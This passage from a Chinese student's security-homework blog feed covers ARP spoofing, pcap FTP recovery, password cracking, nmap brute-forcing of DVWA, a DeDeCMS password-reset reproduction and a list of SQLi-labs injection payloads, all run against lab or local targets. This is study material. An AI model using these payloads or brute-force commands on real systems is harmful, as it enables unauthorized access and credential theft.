id=\"arp欺骗过程\"><a class=\"anchor\" href=\"#arp欺骗过程\">#</a> arp 欺骗过程</h2>\n<p>环境：两台同网段的虚拟机 kali  &amp;  unbuntu</p>\n<p>1. 启动 arpspoof 实施 arp 欺骗，让本机冒充网关收发数据</p>\n<figure class=\"highlight bash\"><figcaption data-lang=\"bash\"></figcaption><table><tr><td data-num=\"1\"></td><td><pre><span class=\"token builtin class-name\">echo</span> <span class=\"token number\">1</span> <span class=\"token operator\">></span> /proc/sys/net/ipv4/ip_forward</pre></td></tr><tr><td data-num=\"2\"></td><td><pre>首先开启数据包转发<span class=\"token punctuation\">(</span>linux<span class=\"token punctuation\">)</span></pre></td></tr></table></figure><p><img data-src=\"11.png\" alt></p>\n<p><img data-src=\"131.png\" alt></p>\n<p>2.wireshark 查看截获的数据</p>\n<p><img data-src=\"14.png\" alt></p>\n<p>3. 过滤报文</p>\n<p><img data-src=\"15.png\" alt></p>\n<p><img data-src=\"16.png\" alt></p>\n<p>=<mark> 看到用户在 http 下的明文数据</mark> =</p>\n<hr>\n<h2 id=\"3ftp数据还原部分利用wireshark打开实验实验数据datapcapng\"><a class=\"anchor\" href=\"#3ftp数据还原部分利用wireshark打开实验实验数据datapcapng\">#</a> 3.FTP 数据还原部分：利用 WireShark 打开实验实验数据 data.pcapng。</h2>\n<h5 id=\"31-ftp服务器的ip地址是多少你是如何发现其为ftp服务器的\"><a class=\"anchor\" href=\"#31-ftp服务器的ip地址是多少你是如何发现其为ftp服务器的\">#</a> 3.1 FTP 服务器的 IP 地址是多少？你是如何发现其为 FTP 服务器的？</h5>\n<blockquote>\n<p>FTP 支持两种模式，一种方式叫做 Standard (也就是 PORT 方式，主动方式)，一种是 Passive (也就是 PASV，被动方式)。 Standard 模式 FTP 的客户端发送 PORT 命令到 FTP 服务器。Passive 模式 FTP 的客户端发送 PASV 命令到 FTP Server。</p>\n</blockquote>\n<p><img data-src=\"1.png\" alt></p>\n<p><mark>FTP 服务器向用户询问密码，所以判断 192.168.182.1 是 FTP 服务器</mark></p>\n<h5 id=\"32客户端登录ftp服务器的账号和密码分别是什么\"><a class=\"anchor\" href=\"#32客户端登录ftp服务器的账号和密码分别是什么\">#</a> 3.2 客户端登录 FTP 服务器的账号和密码分别是什么？</h5>\n<p><img data-src=\"2.png\" alt></p>\n<blockquote>\n<p>可以看到有两次登录第一次失败了，第二次成功了</p>\n<p>账号：student  密码：sN46i5y</p>\n</blockquote>\n<h5 id=\"33-客户端从ftp下载或查看了2个文件一个为zip文件一个为txt文件文件名分别是什么提示文件名有可能是中文\"><a class=\"anchor\" href=\"#33-客户端从ftp下载或查看了2个文件一个为zip文件一个为txt文件文件名分别是什么提示文件名有可能是中文\">#</a> 3.3 客户端从 FTP 下载或查看了 2 个文件，一个为 ZIP 文件，一个为 TXT 文件，文件名分别是什么？<strong>提示：文件名有可能是中文。</strong></h5>\n<blockquote>\n<p>压缩包：1.zip</p>\n<p>文件：复习题.txt</p>\n</blockquote>\n<p><img data-src=\"3.png\" alt></p>\n<h5 id=\"34-还原zip文件并打开zip有解压密码试图破解提示密码全为数字并为6位-截图破解过程\"><a class=\"anchor\" href=\"#34-还原zip文件并打开zip有解压密码试图破解提示密码全为数字并为6位-截图破解过程\">#</a> 3.4 还原 ZIP 文件并打开（ZIP 有解压密码，试图破解，提示：密码全为数字，并为 6 位）。截图破解过程。</h5>\n<p><img data-src=\"4.png\" alt></p>\n<blockquote>\n<p>文件传输层用的是 tcp 协议，ip 是 ftp 服务器</p>\n<p>之后再查找压缩文件头 HEX 504B</p>\n<p>可以看到 1.zip</p>\n</blockquote>\n<p><img data-src=\"5.png\" alt></p>\n<blockquote>\n<p>追踪 tcp 数据流然后保存下来解压，发现有密码。</p>\n<p>尝试破解</p>\n<p>这里使用的是  ARCHPR</p>\n</blockquote>\n<p><img data-src=\"6.png\" alt></p>\n<p><img data-src=\"7.png\" alt></p>\n<p>还好密码比较简单，之前暴力破解一个 zip 一个晚上都没出结果</p>\n<p>随缘😂</p>\n<p><img data-src=\"8.png\" alt></p>\n<p>还原后的图片</p>\n<p>密码：123456</p>\n<h5 id=\"35-txt文件的内容是什么\"><a class=\"anchor\" href=\"#35-txt文件的内容是什么\">#</a> 3.5 TXT 文件的内容是什么？</h5>\n<p><img data-src=\"9.png\" alt></p>\n<blockquote>\n<p>txt 文件没有 HEX 数据头，所以跟踪到文件</p>\n</blockquote>\n<p><img data-src=\"10.png\" alt></p>\n<p>FTP DATA 中存有 txt 的原始数据</p>\n<hr>\n<h2 id=\"4-md5破解\"><a class=\"anchor\" href=\"#4-md5破解\">#</a> 4、MD5 破解</h2>\n<h5 id=\"sqlmap得到某数据库用户表信息用户口令的md5值为7282c5050cfe7df5e09a33ca456b94ae\"><a class=\"anchor\" href=\"#sqlmap得到某数据库用户表信息用户口令的md5值为7282c5050cfe7df5e09a33ca456b94ae\">#</a> SqlMap 得到某数据库用户表信息，用户口令的 MD5 值为 7282C5050CFE7DF5E09A33CA456B94AE</h5>\n<p>那么，口令的明文是什么？（提示：MD5 值破解）</p>\n<blockquote>\n<p>明文：iampotato</p>\n<p>MD5 值目前的技术很难破解，一般采取 “碰撞” 的方式破解</p>\n</blockquote>\n<p><span class=\"exturl\" data-url=\"aHR0cHM6Ly93d3cuY25ibG9ncy5jb20vc2Vjb25kLXRvbW9ycm93L3AvOTEyOTA0My5odG1s\">网页链接：MD5 是什么？</span></p>\n<hr>\n<h2 id=\"5-john-the-ripper的作用是什么\"><a class=\"anchor\" href=\"#5-john-the-ripper的作用是什么\">#</a> 5、John the Ripper 的作用是什么？</h2>\n<blockquote>\n<p>John the Ripper 是一个暴力破解密码的软件</p>\n<p>采用的是字典爆破模式，可导入用户自己的字典</p>\n</blockquote>\n<p><span class=\"exturl\" data-url=\"aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0NTRE4xODg3L2FydGljbGUvZGV0YWlscy84MTk3ODk5Nz91dG1fbWVkaXVtPWRpc3RyaWJ1dGUucGNfcmVsZXZhbnRfdDAubm9uZS10YXNrLWJsb2ctQmxvZ0NvbW1lbmRGcm9tTWFjaGluZUxlYXJuUGFpMi0xLmNoYW5uZWxfcGFyYW0mYW1wO2RlcHRoXzEtdXRtX3NvdXJjZT1kaXN0cmlidXRlLnBjX3JlbGV2YW50X3QwLm5vbmUtdGFzay1ibG9nLUJsb2dDb21tZW5kRnJvbU1hY2hpbmVMZWFyblBhaTItMS5jaGFubmVsX3BhcmFt\">网页链接：密码破解利器 John the Rippe 使用详细</span></p>\n<hr>\n<h3 id=\"思考问题\"><a class=\"anchor\" href=\"#思考问题\">#</a> 思考问题：</h3>\n<h5 id=\"1-谈谈如何防止arp攻击\"><a class=\"anchor\" href=\"#1-谈谈如何防止arp攻击\">#</a> 1、谈谈如何防止 ARP 攻击。</h5>\n<p><span class=\"exturl\" data-url=\"aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3l0eDIwMTQyMTQwODEvYXJ0aWNsZS9kZXRhaWxzLzgzMDI5NzYz\">arp 欺骗原理</span></p>\n<p>静态网关地址</p>\n<h5 id=\"2-安全的密码口令应遵循的原则\"><a class=\"anchor\" href=\"#2-安全的密码口令应遵循的原则\">#</a> 2、安全的密码（口令）应遵循的原则。</h5>\n<p>比较冗长我总结一下</p>\n<p>1. 不使用弱密码</p>\n<p>2. 不重复使用密码</p>\n<p>3. 密码难度依据重要程度而定</p>\n<p><span class=\"exturl\" data-url=\"aHR0cHM6Ly93d3cuamlhbWlzb2Z0LmNvbS9ibG9nLzEwMjgtbWltYWFucXVhbi0yLmh0bWw=\">安全密码三原则</span></p>\n<h5 id=\"3-谈谈字典攻击中字典的重要性\"><a class=\"anchor\" href=\"#3-谈谈字典攻击中字典的重要性\">#</a> 3、谈谈字典攻击中字典的重要性。</h5>\n<p>一个好的密码字典决定了破解的成功与否，好的密码字典要命中率高，所以最好的字典是根据个人的特性设计的，这样成功率会高一点。字典的重要性：<mark>字典中没有你要的密码的话都是白瞎！</mark></p>\n<h5 id=\"4-实验小结\"><a class=\"anchor\" href=\"#4-实验小结\">#</a> 4、实验小结。</h5>\n<p>本次试验我了解到了 arp 欺骗的原理，认识了 ftp 服务，知道了何为 MD5，但是都是简单的复现和认识。要灵活自如的上手还没有达到那个水平。在实验中 arpspoof 做 arp 欺骗成功了，网关和欺骗者 mac 地址相同，之后开启转发但是依旧失败。</p>\n<p>安全路上上道阻且长，加油吧骚年！</p>\n<hr>\n",
            "tags": [
                "homework"
            ]
        },
        {
            "id": "https://sovegetable.github.io/nettest/try1/",
            "url": "https://sovegetable.github.io/nettest/try1/",
            "title": "网络渗透测试实验一",
            "date_published": "2020-10-30T15:22:00.000Z",
            "content_html": "<div class=\"note default\">\n<p>渗透测试实验一</p>\n</div>\n<h2 id=\"1用搜索引擎google或百度搜索麻省理工学院网站中文件名包含network-security的pdf文档截图搜索得到的页面\"><a class=\"anchor\" href=\"#1用搜索引擎google或百度搜索麻省理工学院网站中文件名包含network-security的pdf文档截图搜索得到的页面\">#</a> 1. 用搜索引擎 Google 或百度搜索麻省理工学院网站中文件名包含 “network security” 的 pdf 文档，截图搜索得到的页面</h2>\n<p><img data-src=\"1.png\" alt=\"avater\"></p>\n<p><img data-src=\"2.png\" alt=\"avater\"></p>\n<p><img data-src=\"../source/assets/20181004133738125\" alt=\"Google搜索语法\"></p>\n<hr>\n<h2 id=\"2照片中的女生在哪里旅行截图搜索到的地址信息\"><a class=\"anchor\" href=\"#2照片中的女生在哪里旅行截图搜索到的地址信息\">#</a> 2. 照片中的女生在哪里旅行？截图搜索到的地址信息。</h2>\n<p><img data-src=\"ns.jpg\" alt=\"avater\"></p>\n<p>根据图片上的信息可以确定咖啡馆的名称，通过 google 地图可以查到地址为 38 Avenue de Suffren, 75015 Paris</p>\n<p>虽然店铺装潢已经变了，但是还是可以通过图片中的披萨店和 2 楼窗台确定的<img data-src=\"123.png\" alt=\"avater\"></p>\n<hr>\n<h2 id=\"3-手机位置定位-通过l\"><a class=\"anchor\" href=\"#3-手机位置定位-通过l\">#</a> 3、手机位置定位。通过 L</h2>\n<h2 id=\"aclocation-area-code位置区域码和cidcell-identity基站编号是个16位的数据范围是0到65535可以查询手机接入的基站的位置从而初步确定手机用户的位置\"><a class=\"anchor\" href=\"#aclocation-area-code位置区域码和cidcell-identity基站编号是个16位的数据范围是0到65535可以查询手机接入的基站的位置从而初步确定手机用户的位置\">#</a> AC（Location Area Code，位置区域码）和 CID（Cell Identity，基站编号，是个 16 位的数据（范围是 0 到 65535）可以查询手机接入的基站的位置，从而初步确定手机用户的位置。</h2>\n<p>获取自己手机的 LAC 和 CID：</p>\n<p>Android 获取方法：Android： 拨号 *#<em>#4636#</em>#* 进入手机信息工程模式后查看</p>\n<p>iphone 获取方法：iPhone：拨号 * 3001#12345#* 进入 FieldTest</p>\n<p>Serving Cell info–&gt;LAC=Tracking Area Code --&gt;cellid = Cell identity</p>\n<p>若不能获取，用右图信息。</p>\n<p>截图你查询到的位置信息。</p>\n<ul class=\"task-list\">\n<li class=\"task-list-item\">\n<p><input type=\"checkbox\" id=\"cbx_0\" disabled=\"true\"><label for=\"cbx_0\"> 我的手机是华为的，<s>禁用</s>了该程序。</label></p>\n</li>\n<li class=\"task-list-item\">\n<p><input type=\"checkbox\" id=\"cbx_1\" checked=\"true\" disabled=\"true\"><label for=\"cbx_1\"> 测试手机为小米</label></p>\n<pre><code>实验应用原理\n</code></pre>\n<p><img data-src=\"sl.png\" alt=\"avater\"></p>\n<p><mark>通过 LAC 反查可以获取到位置信息</mark></p>\n<p><img data-src=\"wz.png\" alt=\"avater\"></p>\n<p><img data-src=\"wz2.png\" alt=\"avater\"></p>\n</li>\n</ul>\n<hr>\n<h2 id=\"4-编码解码\"><a class=\"anchor\" href=\"#4-编码解码\">#</a> 4、编码解码</h2>\n<h2 id=\"将z29vzcbnb29kihn0dwr5iq解码-截图\"><a class=\"anchor\" href=\"#将z29vzcbnb29kihn0dwr5iq解码-截图\">#</a> 将 Z29vZCBnb29kIHN0dWR5IQ== 解码。截图。</h2>\n<p><img data-src=\"312.png\" alt=\"avater\"></p>\n<hr>\n<h2 id=\"5-地址信息\"><a class=\"anchor\" href=\"#5-地址信息\">#</a> 5、地址信息</h2>\n<h3 id=\"51内网中捕获到一个以太帧源mac地址为98-ca-33-02-27-b5目的ip地址为2021936434回答问题该用户使用的什么品牌的设备访问的是什么网站并附截图\"><a class=\"anchor\" href=\"#51内网中捕获到一个以太帧源mac地址为98-ca-33-02-27-b5目的ip地址为2021936434回答问题该用户使用的什么品牌的设备访问的是什么网站并附截图\">#</a> 5.1 内网中捕获到一个以太帧，源 MAC 地址为：98-CA-33-02-27-B5；目的 IP 地址为：202.193.64.34，回答问题：该用户使用的什么品牌的设备，访问的是什么网站？并附截图。</h3>\n<p><img data-src=\"134.png\" alt=\"avater\"></p>\n<p><img data-src=\"133.png\" alt=\"avater\"></p>\n<h3 id=\"52-访问httpswhatismyipaddresscom得到myip信息利用ipconfigwindows或ifconfiglinux查看本机ip地址两者值相同吗如果不相同的话说明原因\"><a class=\"anchor\" href=\"#52-访问httpswhatismyipaddresscom得到myip信息利用ipconfigwindows或ifconfiglinux查看本机ip地址两者值相同吗如果不相同的话说明原因\">#</a> 5.2 访问 https://whatismyipaddress.com 得到 MyIP 信息，利用 ipconfig (Windows) 或 ifconfig (Linux) 查看本机 IP 地址，两者值相同吗？如果不相同的话，说明原因。</h3>\n<pre><code>不同，因为我们获取到的是公网地址，而ipconfig获取的是内网（相对于公网ip下）因为用了NAT地址转换技术\n</code></pre>\n<hr>\n<h2 id=\"6-nmap使用\"><a class=\"anchor\" href=\"#6-nmap使用\">#</a> 6、NMAP 使用</h2>\n<h3 id=\"61利用nmap扫描metasploitable2需下载虚拟机镜像的端口开放情况-并附截图-说明其中四个端口的提供的服务查阅资料简要说明该服务的功能\"><a class=\"anchor\" href=\"#61利用nmap扫描metasploitable2需下载虚拟机镜像的端口开放情况-并附截图-说明其中四个端口的提供的服务查阅资料简要说明该服务的功能\">#</a> 6.1 利用 NMAP 扫描 Metasploitable2（需下载虚拟机镜像）的端口开放情况。并附截图。说明其中四个端口的提供的服务，查阅资料，简要说明该服务的功能。</h3>\n<h3 id=\"62利用nmap扫描metasploitable2的操作系统类型并附截图\"><a class=\"anchor\" href=\"#62利用nmap扫描metasploitable2的操作系统类型并附截图\">#</a> 6.2 利用 NMAP 扫描 Metasploitable2 的操作系统类型，并附截图。</h3>\n<p><span class=\"exturl\" data-url=\"aHR0cHM6Ly93d3cuY25ibG9ncy5jb20veHh4eXovcC8xMTU2NzUzMS5odG1s\">网页链接：nmap 基本步骤</span></p>\n<pre><code> nmap -sP 192.168.0.0/24 扫描存活\n nmap  192.168.xxx.xxx  发现存活主机后扫描端口\n namp -O 192.168.xxx.xxx  查看操作系统\n</code></pre>\n<p><img data-src=\"fuwu.png\" alt=\"avater\"></p>\n<p><img data-src=\"os.png\" alt=\"avater\"></p>\n<h3 id=\"63-利用nmap穷举-metasploitable2上dvwa的登录账号和密码\"><a class=\"anchor\" href=\"#63-利用nmap穷举-metasploitable2上dvwa的登录账号和密码\">#</a> 6.3 利用 NMAP 穷举 Metasploitable2 上 dvwa 的登录账号和密码。</h3>\n<p>​\t\t访问 ip 发现 80 有 http 服务发现了 dvwa 的登录界面</p>\n<p>​\t<img data-src=\"dvwa.png\" alt=\"avater\"></p>\n<p>然后使用 nmap 自带的爆破脚本进行弱口令爆破</p>\n<pre><code>nmap -p80 --script=http-form-brute --script-args=http-form-brute.path=/dvwa/login.php 192.168.37.189\n</code></pre>\n<p><img data-src=\"bp.png\" alt=\"avater\"></p>\n<p><span class=\"red\">Over！拿到登录账号和密码</span></p>\n<h3 id=\"64-查阅资料永恒之蓝-wannacry蠕虫利用漏洞的相关信息\"><a class=\"anchor\" href=\"#64-查阅资料永恒之蓝-wannacry蠕虫利用漏洞的相关信息\">#</a> 6.4 查阅资料，永恒之蓝 - WannaCry 蠕虫利用漏洞的相关信息。</h3>\n<p><a href=\"https://www.sohu.com/a/395228053_115128\"><em>WannaCry</em> 勒索病毒复现及分析，蠕虫<em>传播</em>机制全网源码</a></p>\n<p>WannaCry 勒索病毒主要行为是传播和勒索。</p>\n<ul>\n<li>传播：利用基于 445 端口的 SMB 漏洞 MS17-010 (永恒之蓝) 进行传播</li>\n<li>勒索：释放文件，包括加密器、解密器、说明文件、语言文件等；加密文件；设置桌面背景、窗体信息及付款账号等。</li>\n</ul>\n<hr>\n<h2 id=\"7-利用zoomeye搜索一个西门子公司工控设备并描述其可能存在的安全问题\"><a class=\"anchor\" href=\"#7-利用zoomeye搜索一个西门子公司工控设备并描述其可能存在的安全问题\">#</a> 7、利用 ZoomEye 搜索一个西门子公司工控设备，并描述其可能存在的安全问题</h2>\n<p><mark>搜索 simens 发现有很多工控设备开启了 ssh 服务和 telnet 服务，若无管理则有被爆破的风险。</mark></p>\n<hr>\n<h2 id=\"8-winhex简单数据恢复与取证\"><a class=\"anchor\" href=\"#8-winhex简单数据恢复与取证\">#</a> 8、Winhex 简单数据恢复与取证</h2>\n<h3 id=\"81-elephantjpg不能打开了利用winhex修复说明修复过程\"><a class=\"anchor\" href=\"#81-elephantjpg不能打开了利用winhex修复说明修复过程\">#</a> 8.1 elephant.jpg 不能打开了，利用 WinHex 修复，说明修复过程。</h3>\n<p><span class=\"exturl\" data-url=\"aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpYW5nc2hhbmdiYXNoYW9uaWFuL2FydGljbGUvZGV0YWlscy84MDE1Njg2NQ==\">常见文件头汇总</span></p>\n<p>jpg 的 hex 头尾 FFD8 修复一下就好</p>\n<p><img data-src=\"167.png\" alt=\"avater\"></p>\n<p><img data-src=\"168.png\" alt=\"avater\"></p>\n<p>修复后文件：</p>\n<p><img data-src=\"2.jpg\" alt=\"avater\"></p>\n<blockquote>\n<p>用 binwalk 二进制分析可以看到有两张图片（错乱）</p>\n</blockquote>\n<p><img data-src=\"169.png\" alt=\"avater\"></p>\n<p><img data-src=\"170.png\" alt=\"avater\"></p>\n<p><img data-src=\"173.png\" alt=\"avater\"></p>\n<p><span class=\"rainbow\">虽然两张图片一样大但是清晰度和大小比例均不如原图，可能是 ps 做出来的文件里面用的源文件吧.......</span>😂</p>\n<h3 id=\"82-笑脸背后的阴霾图片smile有什么隐藏信息\"><a class=\"anchor\" href=\"#82-笑脸背后的阴霾图片smile有什么隐藏信息\">#</a> 8.2 笑脸背后的阴霾：图片 smile 有什么隐藏信息。</h3>\n<p><img data-src=\"166.png\" alt=\"avater\"></p>\n<p>Tom is the killer..         🔪</p>\n<h3 id=\"83-尝试使用数据恢复软件恢复你的u盘中曾经删除的文件\"><a class=\"anchor\" href=\"#83-尝试使用数据恢复软件恢复你的u盘中曾经删除的文件\">#</a> 8.3 尝试使用数据恢复软件恢复你的 U 盘中曾经删除的文件。</h3>\n<p>以前使用过 easyrecovery 修复随身听的歌曲，不过只成功了一部分，有一些坏道还是不能修复。</p>\n<p><span class=\"exturl\" data-url=\"aHR0cHM6Ly96aHVhbmxhbi56aGlodS5jb20vcC85NzU3MDcxMg==\">知乎：数据恢复原理</span></p>\n<hr>\n",
            "tags": [
                "homework"
            ]
        },
        {
            "id": "https://sovegetable.github.io/Dedecms/",
            "url": "https://sovegetable.github.io/Dedecms/",
            "title": "Dedecms漏洞复现",
            "date_published": "2020-10-24T10:40:34.000Z",
            "content_html": "<h2 id=\"漏洞说明\"><a class=\"anchor\" href=\"#漏洞说明\">#</a> 漏洞说明：</h2>\n<p>2018 年 1 月 10 日， 锦行信息安全公众号公开了一个关于 DeDeCMS<br>\n 前台任意用户密码修改漏洞的细节。<br>\n2018 年 1 月 10 日，Seebug 漏洞平台收录该漏洞，漏洞编号为<br>\n SSV-97074，知道创宇 404 漏洞应急团队成功复现该漏洞。</p>\n<p>形成原因：</p>\n<ol>\n<li>由于 php 弱类型比较形成绕过</li>\n</ol>\n<p>限制：</p>\n<ol>\n<li>\n<p>只影响前台账户</p>\n</li>\n<li>\n<p>只能修改未设置安全问题的账户</p>\n<hr>\n<hr>\n</li>\n</ol>\n<h2 id=\"复现内容\"><a class=\"anchor\" href=\"#复现内容\">#</a> 复现内容：</h2>\n<p>1. 首先使用 phpstudy 搭建本地服务并安装织梦 cms</p>\n<p><span class=\"red\">在建站是遇到一些问题没有办法访问</span></p>\n<p>解决方案：在 [hosts].{label} 中手动添加</p>\n<p><img data-src=\"1.png\" alt></p>\n<p><img data-src=\"2.png\" alt></p>\n<p><img data-src=\"3.png\" alt></p>\n<hr>\n<h4 id=\"注册并安装好数据库\"><a class=\"anchor\" href=\"#注册并安装好数据库\">#</a> 注册并安装好数据库</h4>\n<div class=\"note info\">\n<p>要把会员功能开放并且无密保问题</p>\n</div>\n<p><img data-src=\"4.png\" alt></p>\n<p><img data-src=\"5.png\" alt></p>\n<p><img data-src=\"6.png\" alt></p>\n<hr>\n<h4 id=\"开始使用漏洞修改\"><a class=\"anchor\" href=\"#开始使用漏洞修改\">#</a> 开始使用漏洞修改</h4>\n<p><img data-src=\"7.png\" alt></p>\n<p><img data-src=\"8.png\" alt></p>\n<p><img data-src=\"9.png\" alt></p>\n<p class=\"label warning\">[注意一个账号只能访问改密码页面一次，否则要等 10 分钟 key 失效].</p>\n<p><img data-src=\"10.png\" alt></p>\n<p><img data-src=\"11.png\" alt></p>\n<p><img data-src=\"12.jpg\" alt></p>\n<p><img data-src=\"13.png\" alt></p>\n<p><mark>到此漏洞复现成功</mark></p>\n<h2 id=\"更改后台admin密码\"><a class=\"anchor\" href=\"#更改后台admin密码\">#</a> 更改后台 admin 密码</h2>\n<p><img data-src=\"14s.png\" alt></p>\n<p><img data-src=\"15.png\" alt></p>\n<figure class=\"highlight diff\"><figcaption data-lang=\"diff\"></figcaption><table><tr><td data-num=\"1\"></td><td><pre>直接访问该链接，即可重置admin前台为任意密码。</pre></td></tr><tr><td data-num=\"2\"></td><td><pre>重置admin前台密码之后，注意不要退出，继续留着cookie，继续进行修改admin后台密码</pre></td></tr></table></figure><p><img data-src=\"16.png\" alt></p>\n<p>访问：系统设置 -&gt; 个人资料 -&gt; 基本资料<br>\n即</p>\n<pre><code>http://192.168.170.139/member/edit_baseinfo.php\n</code></pre>\n<p><img data-src=\"17.png\" alt></p>\n<div class=\"note danger\">\n<p>进行后端密码更改之前，不能纯用 bp 发报文。这样浏览器拿不到重要 cookies 会导致无法依靠 cookie 使 admin 前台登录（登录界面禁用 admin 直接登录）</p>\n</div>\n<p><span class=\"exturl\" data-url=\"aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2NhaXFpaXFpL2FydGljbGUvZGV0YWlscy84Mzk5NjMxMj91dG1fdGVybT1kZWRlY21zJUU2JTk0JUI5JUU1JUFGJTg2JUU3JUEwJTgxJUU2JUJDJThGJUU2JUI0JTlFJUU1JUE0JThEJUU3JThFJUIwJmFtcDt1dG1fbWVkaXVtPWRpc3RyaWJ1dGUud2FwX3NlYXJjaF9yZXN1bHQubm9uZS10YXNrLWJsb2ctMn5hbGx+c29iYWlkdXdlYn5kZWZhdWx0LTEtODM5OTYzMTImYW1wO3NwbT0xMDE4LjIxMTguMzAwMS40MTg3\">网页链接：DeDeCMS v5.7 {SP1,SP2} 密码修改漏洞（附 PoC）</span></p>\n",
            "tags": [
                "homework"
            ]
        },
        {
            "id": "https://sovegetable.github.io/qqshark/",
            "url": "https://sovegetable.github.io/qqshark/",
            "title": "qq流量包分析",
            "date_published": "2020-10-17T13:36:36.000Z",
            "content_html": "<h2 id=\"qq流量分析\"><a class=\"anchor\" href=\"#qq流量分析\">#</a> QQ 流量分析</h2>\n<hr>\n<p><mark>使用工具 ：Wireshark</mark></p>\n<p><img data-src=\"../source/assets/u=3726352782,2540904049&amp;fm=26&amp;gp=0.jpg\" alt></p>\n<hr>\n<h3 id=\"略缩图不见了\"><a class=\"anchor\" href=\"#略缩图不见了\">#</a> 略缩图不见了！！！</h3>\n<p><img data-src=\"1.png\" alt></p>\n<p><img data-src=\"2.png\" alt></p>\n<h3 id=\"半张图\"><a class=\"anchor\" href=\"#半张图\">#</a> 半张图</h3>\n<blockquote>\n<p>本来是是一张 1.6MB 的完整的图，流量截取后 出现错误</p>\n</blockquote>\n<p><img data-src=\"3.png\" alt></p>\n<p><img data-src=\"4.png\" alt></p>\n<blockquote>\n<p>尝试了很多次发现只有大图片会发生不完整，推测是分成了两部分或多部分传输</p>\n</blockquote>\n<h3 id=\"hxd的图\"><a class=\"anchor\" href=\"#hxd的图\">#</a> hxd 的图</h3>\n<blockquote>\n<p>意外抓到了别人的图，是因为 wifi 抓包的缘故（无线信号）</p>\n</blockquote>\n<p><img data-src=\"5.png\" alt></p>\n<h3 id=\"成功的尝试\"><a class=\"anchor\" href=\"#成功的尝试\">#</a> 成功的尝试</h3>\n<p><img data-src=\"6.png\" alt></p>\n<blockquote>\n<p>输入判断条件：tcp and ip.dst==192.168.0.19</p>\n</blockquote>\n<blockquote>\n<p>hex 搜索： ffd8</p>\n</blockquote>\n<p><img data-src=\"7.png\" alt></p>\n<p><img data-src=\"8.png\" alt></p>\n<p><mark>找到文件拖到本地还原</mark></p>\n<p><img data-src=\"9.png\" alt></p>\n<div class=\"note info\">\n<p>删除多余的报文 header，还原图片</p>\n</div>\n<p><img data-src=\"10.png\" alt></p>\n<details class=\"primary\"><summary>总结</summary><div>\n<div class=\"note info\">\n</div>\n<ul>\n<li>抓取文件格式只能是 jpg 格式，png gif pdf doc 文件均加密</li>\n<li>大小号之间发图片都是加密的（用户和用户通信都加密）</li>\n<li>大文件会分段传输，大小在 1MB 以下的话方便完整图片</li>\n<li>wifi 传输并不安全</li>\n</ul>\n</div></details>\n",
            "tags": [
                "homework"
            ]
        },
        {
            "id": "https://sovegetable.github.io/sqlilabs%201~6/",
            "url": "https://sovegetable.github.io/sqlilabs%201~6/",
            "title": "sqlilabs payload",
            "date_published": "2020-08-17T11:51:14.287Z",
            "content_html": "<h1 id=\"less-1~4\"><a class=\"anchor\" href=\"#less-1~4\">#</a> less 1~4</h1>\n<p>select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=' 库名 ' LIMIT 0,1  // 爆表（一次一个）</p>\n<p>select group_concat (table_name) from information_schema.tables where table_schema=0x7365637572697479 // 爆表 （全部）前面是数据库 16 进制的编码</p>\n<p>select group_concat (column_name) from information_schema.columns where table_name=0x656d61696c73 // 爆字段 前面是数据库 16 进制的编码</p>\n<p>select group_concat (id 字段名 1，email_id 字段名 2 。。。。) from email（表名）// 爆单个数据</p>\n<h1 id=\"报错注入-less-56\"><a class=\"anchor\" href=\"#报错注入-less-56\">#</a> 报错注入 （less-5，6）</h1>\n<p>首先利用盲注的方法获取表名等，然后报错注入回显。（针对页面无回显点）</p>\n<p>id=-1' OR 1 GROUP BY CONCAT_WS (0x3a,database (),FLOOR (RAN (0)*2)) HAVING MIN (0) OR 1 --+ // 库</p>\n<p><span class=\"exturl\" data-url=\"aHR0cDovL3NxbC5jb20vTGVzcy01Lz9pZD0x\">http://sql.com/Less-5/?id=1</span>' and extractvalue (1,concat (0x23,(select table_name from information_schema.tables where table_schema=database () limit 0,1),0x23))--+// 表</p>\n<p><span class=\"exturl\" data-url=\"aHR0cDovL3NxbC5jb20vTGVzcy01Lz9pZD0x\">http://sql.com/Less-5/?id=1</span>' and extractvalue (1,concat (0x23,(select column_name from information_schema.columns where table_schema=database () and table_name='users' limit 0,1),0x23))--+  // 字段</p>\n<p><span class=\"exturl\" data-url=\"aHR0cDovL3NxbC5jb20vTGVzcy01Lz9pZD0x\">http://sql.com/Less-5/?id=1</span>' and length ((select table_name from information_schema.tables where table_schema=database () limit 0,1))&gt;6--+// 长度判断</p>\n<p><span class=\"exturl\" data-url=\"aHR0cDovLzEyNy4wLjAuMS9zcWxpL0xlc3MtNS8/aWQ9MSVFMiU4MCU5OQ==\">http://127.0.0.1/sqli/Less-5/?id=1’</span> and  ascii (substr ((select schema_name from information_schema.schemata limit 1,1),1,1)) &gt;100--+ 通过二分法猜解得到所有的库，红色为可变参数。</p>\n<p><span class=\"exturl\" data-url=\"aHR0cDovLzEyNy4wLjAuMS9zcWxpL0xlc3MtNS8/aWQ9MSVFMiU4MCU5OQ==\">http://127.0.0.1/sqli/Less-5/?id=1’</span> and ascii (substr ((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))&gt;1--+  再次通过二分法可猜解得到 security 下的所有表。其中，红色为可变参数。</p>\n<p><span class=\"exturl\" data-url=\"aHR0cDovLzEyNy4wLjAuMS9zcWxpL0xlc3MtNS8/aWQ9MSVFMiU4MCU5OQ==\">http://127.0.0.1/sqli/Less-5/?id=1’</span> and ascii (substr ((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) &gt;1 --+  通过二分法可猜解 users 内的字段，其中红色为可变参数。</p>\n<p><span class=\"exturl\" data-url=\"aHR0cDovLzEyNy4wLjAuMS9zcWxpL0xlc3MtNS8/aWQ9MSVFMiU4MCU5OQ==\">http://127.0.0.1/sqli/Less-5/?id=1’</span>  and ascii (substr ((select username from security.users limit 1,1),1,1))&gt;1--+ 继续猜解即可得到字段内的值。</p>\n",
            "tags": []
        },
        {
            "id": "https://sovegetable.github.io/OSI%E4%B8%83%E5%B1%82%E5%8D%8F%E8%AE%AE/",
            "url": "https://sovegetable.github.io/OSI%E4%B8%83%E5%B1%82%E5%8D%8F%E8%AE%AE/",
            "title": "What is OSI七层协议",
            "date_published": "2020-08-12T16:00:00.000Z",
